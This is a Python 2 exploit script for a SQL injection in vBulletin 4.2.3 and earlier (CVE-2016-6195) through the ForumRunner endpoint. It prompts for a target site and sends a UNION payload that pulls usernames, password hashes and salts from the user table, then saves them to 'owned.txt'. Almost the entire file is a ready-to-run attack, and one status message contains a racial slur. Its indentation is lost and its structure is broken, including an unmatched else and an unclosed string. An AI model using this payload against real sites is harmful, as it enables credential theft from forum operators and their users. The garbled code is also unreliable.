import os,sys,urllib,time,requests
from bs4 import BeautifulSoup
from termcolor import colored, cprint
if os.name == 'posix':
os.system ('clear')
else:
os.system('cls')
banner = '''
+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+
vBulletin <=4.2.3 - 'ForumRunner' SQL Injection
+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+
CVE-2016-6195
Vulnerability Discovered By Dantalion
Exploiter Coded By Chaitanya Haritash @Indi_G34r
requirements : bs4, termcolor, urllib, requests
usage : ./exploit.py
print banner
class Exploit:
def __init__(self,):
print ""
def damn(self,):
print ""
if __name__ == "__main__":
print ""
private = str(raw_input('T4rg3t S!t3 > '))
poc = str(private)+"/"+"request.php?d=1&cmd=get_spam_data&postids=-1)union select 1,2,3,(select (@x) from (select (@x:=0x00),(select (0) from (user)where (0x00) in (@x:=concat(@x,0x3c62723e,username,0x3a,password,0 x3a,salt))))x),5,6,7,8,9,10-- -"
done = urllib.urlopen(poc)
print ""
print "[*] Onto it nigga
[*]"
print""
print ""
r = requests.get(poc)
soup = BeautifulSoup(r.content, "lxml")
cool = colored ("""
[!] Users Found from DB ::: URL : [!]
%s
gathering items in owned.txt :
""" , 'cyan')%private
print cool
print ""
try :
t_data = soup.find_all("div", {"class": "blockrow restore"})
for item in t_data:
# print item.text
f = open('owned.txt' , 'w')
g = item.text.encode('utf-8')
f.write(g)
f.close
print ""
print colored ("[+] Check for owned.txt in same dir of exploit [+]" , "cyan")
finally:
print ""
print ""
print "[+] Exiting [+]"
else:
print "Site is Not Vulnerable"
Exploit()